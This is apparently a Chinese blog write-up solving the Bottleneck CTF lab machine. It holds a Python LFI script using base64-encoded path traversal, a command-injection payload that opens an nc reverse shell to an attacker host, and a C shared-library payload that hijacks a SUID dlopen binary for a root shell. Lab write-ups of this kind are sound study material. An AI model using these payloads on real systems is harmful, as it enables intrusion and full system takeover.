Bottleneck

端口扫描,主机发现。

敏感目录为:http://192.168.114.165/image_gallery.php

在该目录下发现:http://192.168.114.165/image_gallery.php?t=1596116082&f=Ym90dGxlbmVja19kb250YmUucG5n

这个看起来是有一个base64加密的,解密后为bottleneck_dontbe.png换成passwd文件。

更改了之后没有任何反应,觉得可能是有校对机制,例如时间戳在t参数这里。

刷新了看了一下:

image_gallery.php?t=1596117382&f=Ym90dGxlbmVja19kb250YmUucG5n

确实发生了变化。

这样我们只要编写一个小脚本,将时间戳附在参数上面就可以了,这里随手写了一个。

#coding:utf-8
import time
import base64
import urllib
import requests string="../../../../../../../etc/passwd"
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.114.165/image_gallery.php"
payloads={
't' : tt,
'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text
print("---------------------------\n")
print("filename: intrusion_"+ str(int(tt)))

有回显,告诉我们这样是不行的。

可能设了白名单吧,可能吧可能吧,不会真有人费这么大劲折磨我吧。

换了一下../image_gallery.php有输出了,nice。

output:

C:\Users\Dell\PycharmProjects\pythonstudy\venv\Scripts\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/CTF常用脚本/时间戳.py

<?php
/*
CHANGELOG
v1.1: Still testing without content.
I've fixed that problem that @p4w and @ska notified me after hacker attack.
Shit I'm too lazy to make a big review of my code.
I think that the LFI problem can be mitigated with the blacklist.
By the way to protect me from attackers, all malicious requests are immediately sent to the SOC v1.0: Starting this beautiful gallery
*/ $tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
include_once 'image_gallery_load.php';
exit();
} ?>

原来是设了黑名单啊,猜错,接下来可能就是代码审计了。

image_gallery_load.php

<?php
function print_troll(){
$messages = $GLOBALS['messages'];
$troll = $GLOBALS['troll'];
echo $messages[0];
echo $troll;
} $troll = <<<EOT
<pre>
_,..._
/__ \
>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
EOT; if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
} $imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n"); if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../'); ?>

个人认为出问题的代码是在这里:

// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}

这里看上去是写日志文件了,那意味着我们利用恶意的url进行访问是有可能被写入的,而经过处理的log文件最终被放置到了/tmp/output

而文件名也可以判断出来就是intrusion_+时间戳

其实这个判断出来没鸟用,他最终还是放到/tmp/output文件下,我先后用了../../../../../../etc/passwd以及../../../../../../etc/network/interfaces试了一下,然后分别查看日志文件,发现确实被记录了,但是只能记录一条。

这里的反弹shell我是真没搞出来,这里我网上特地找了一下,这个巨佬写得很清晰了。

https://blog.csdn.net/weixin_44214107/article/details/102526835

payload:/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 2333 >/tmp/f") and'

所以根据这位博主的思路,创建了反弹shell的payload:

#coding:utf-8
import time
import base64
import urllib
import requests string='''../../../../../etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 2333 >/tmp/f") and\''''
print string
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.114.165/image_gallery.php"
payloads={
't' : tt,
'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text
print("---------------------------\n")
print("filename: intrusion_"+ str(int(tt)))

此时我们的客户端是已经收到了shell。

提权

查看操作系统版本,这个靶机是19年的,应该不会有大的漏洞。

suid看一下,发现一个at程序可能被利用,sudo -l则是一个清除日志的脚本,并且没有定时计划。

www-data@bottleneck:~/html/web_utils$ cat clear
cat clear_logs
#!/bin/bash
rm -f /var/log/soc/intrusion_*

如果我们能有写的权限,那么就方便很多了。

看到只有bytevsbyte及其组的用户具有高权限,我们的一种突破口就是往bytevsbyte用户登陆上去靠。

这里我又不会了,去看了一下wp。

根据wp可以得知clear_logs这个软链接就是我们的突破口,即修改clear_logs软链接的指向,是其指向我们的脚本,随后运行clear_logs使www-data用户变成bytevsbyte,看到这里我觉得这跟绕open_basedir有相同的道理。

本地创建clear_logs,在wget请求时显示权限不足

sudo -ubytevsbyte /var/www/html/webutils/clearlogs

这里我确实修改了文件的内容,但是执行的时候总是显示不存在这个文件,软连接可能改错了,应该没有啊,服了这只能搞到这里了,换了一个软连接ok了,后面暴躁的直接复制黏贴别人的了,感觉自己思路是没有问题的但就是没成功奇了怪了。

SUID可执行文件的命令,发现/usr/test/testlib

#include <dlfcn.h>
#include <unistd.h> int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}

其实接下来的提权步骤跟绕过php的disable_function是有点类似的,在绕过disable_function的时候我们选择劫持了mail函数下的可以说是调用so库文件,差不多就是这个意思吧。

dlopen以指定模式打开动态连接库文件,并返回一个句柄给调用进程;dlsym通过句柄和连接符名称获取函数名或者变量名。

所以poc很简单,跟绕过disbale_funtion的poc差不多。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void test_this() //这里定义的函数名为test_this的原因是因为上面的suid程序调用的就是这个函数
{
setuid(0); setgid(0); system("/bin/sh"); //获取root用户的shell
}

接下来的步骤就是将我们生成的这个共享库替换掉原来的共享库,然后再执行这个suid文件,就自然地调用了我们创建的so文件,然后获取到root的shell。

gcc -fPIC -shared test_this.c -o test_this.so

/usr/test/testlib /tmp/test_this.so

部分参考:https://blog.csdn.net/weixin_44214107/article/details/102526835

Bottleneck靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. client-go workqueue demo

    链接地址:https://github.com/kubernetes/client-go [root@wangjq examples]# tree . ├── create-update-delete ...

  2. cinderclient命令行源码解析

    一.简介 openstack的各个模块中,都有相应的客户端模块实现,其作用是为用户访问具体模块提供了接口,并且也作为模块之间相互访问的途径.Cinder也一样,有着自己的cinder-client. ...

  3. Robust and Communication-Efficient Federated Learning from Non-IID Data

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! 以下是对本文关键部分的摘抄翻译,详情请参见原文. arXiv:1903.02891v1 [cs.LG] 7 Mar 2019 Abstra ...

  4. php实现视频拍照上传头像功能实例代码

    如果要在php中实现视频拍照我们需要借助于flash插件了,由flash拍出的确照片我们再通过php的$GLOBALS ['HTTP_RAW_POST_DATA']接受数据,然后保存成图片就可以了,下 ...

  5. DevOps系列(1)-总体架构

    扯闲淡 在进入正式话题之前,先扯个淡,这算是第一篇我正式在博客上发布的随笔吧,之前也一直有想写点什么,将自己多年的工作经验分享出来,供大家参考点评,但是奈何一直对自己的文字功底不自信(其实也确实比较烂 ...

  6. 两台Linux服务器文件同步

    在给公司或者学校做系统部署的时候,为了数据安全往往我们至少需要两台服务器,接下来请看: 我们要实现的是把客户端(192.168.0.1)的复制到目标服务器(192.168.0.2) 一.目标服务器 1 ...

  7. SEO大神都是些什么人

    http://www.wocaoseo.com/thread-97-1-1.html 貌似好久没有更新seo培训联盟的文章了,最近一直在专心学习其他的东西,前一段写了几篇关于用户需求和体验的文章,但是 ...

  8. Docker 私有镜像仓库的搭建及认证

    DockerHub 为我们提供了很多官方镜像和个人上传的镜像,我们可以下载机构或个人提供的镜像,也可以上传我们自己的本地镜像,但缺点是: 由于网络的原因,从 DockerHub 下载和上传镜像速度可能 ...

  9. 【Gin-API系列】Gin中间件之鉴权访问(五)

    在完成中间件的介绍和日志中间件的代码后,我们的程序已经基本能正常跑通了,但如果要上生产,还少了一些必要的功能,例如鉴权.异常捕捉等.本章我们介绍如何编写鉴权中间件. 鉴权访问,说白了就是给用户的请求增 ...

  10. Android开发之模拟器genymotion安装apk出现错误: Install_failed_invalid_URI

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985,转载请说明出处. install failed invalid uri Android开发之模拟器ge ...